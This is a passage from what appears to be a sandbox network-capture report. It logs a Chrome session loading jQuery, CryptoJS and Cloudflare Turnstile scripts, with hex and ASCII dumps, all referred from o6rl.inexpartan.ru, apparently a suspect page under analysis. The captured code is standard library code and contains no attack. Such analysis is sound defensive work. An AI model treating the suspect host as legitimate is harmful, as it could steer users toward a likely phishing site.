0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2024-12-24 14:06:29 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2024-12-24 14:06:29 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49756	104.18.94.41	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:06:28 UTC	650	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://o6rl.inexpartan.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:06:29 UTC	386	IN	HTTP/1.1 302 Found Date: Tue, 24 Dec 2024 14:06:29 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/787bc399e22f/api.js Server: cloudflare CF-RAY: 8f7126f80b9e8c51-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49755	104.17.24.14	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:06:28 UTC	652	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://o6rl.inexpartan.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:06:29 UTC	958	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 14:06:29 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 505044 Expires: Sun, 14 Dec 2025 14:06:29 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mE2ru3%2FloL1M4wGqzTMnZ9emURenUJcl7iXw3H2DbPreURfcPsPl96mKnx9D3mq6OzS%2FxlBwQ3LKUn900lsO69AmDyYB8ACps9jndZ2kUoJkB1bXail%2B9GrtGl3k4Oi5uKi1VPIX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f7126f80d6703d5-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 14:06:29 UTC	411	IN	Data Raw: 37 62 65 62 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7beb!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-12-24 14:06:29 UTC	1369	IN	Data Raw: 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 Data Ascii: globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.crea
2024-12-24 14:06:29 UTC	1369	IN	Data Raw: 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 Data Ascii: all(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)
2024-12-24 14:06:29 UTC	1369	IN	Data Raw: 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b Data Ascii: eof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;
2024-12-24 14:06:29 UTC	1369	IN	Data Raw: 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 Data Ascii: ar t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0
2024-12-24 14:06:29 UTC	1369	IN	Data Raw: 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d Data Ascii: or(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]
2024-12-24 14:06:29 UTC	1369	IN	Data Raw: 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 Data Ascii: ,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:fu
2024-12-24 14:06:29 UTC	1369	IN	Data Raw: 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 Data Ascii: arAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQ
2024-12-24 14:06:29 UTC	1369	IN	Data Raw: 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 Data Ascii: .sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this
2024-12-24 14:06:29 UTC	1369	IN	Data Raw: 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b Data Ascii: ,m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49759	104.18.94.41	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:06:30 UTC	649	OUT	GET /turnstile/v0/b/787bc399e22f/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://o6rl.inexpartan.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:06:30 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 14:06:30 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47692 Connection: close accept-ranges: bytes last-modified: Tue, 10 Dec 2024 17:31:41 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8f7127025fba426b-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 14:06:30 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2024-12-24 14:06:30 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2024-12-24 14:06:30 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 6a 74 28 65 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 47 74 28 65 2c 72 29 7c 7c 7a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
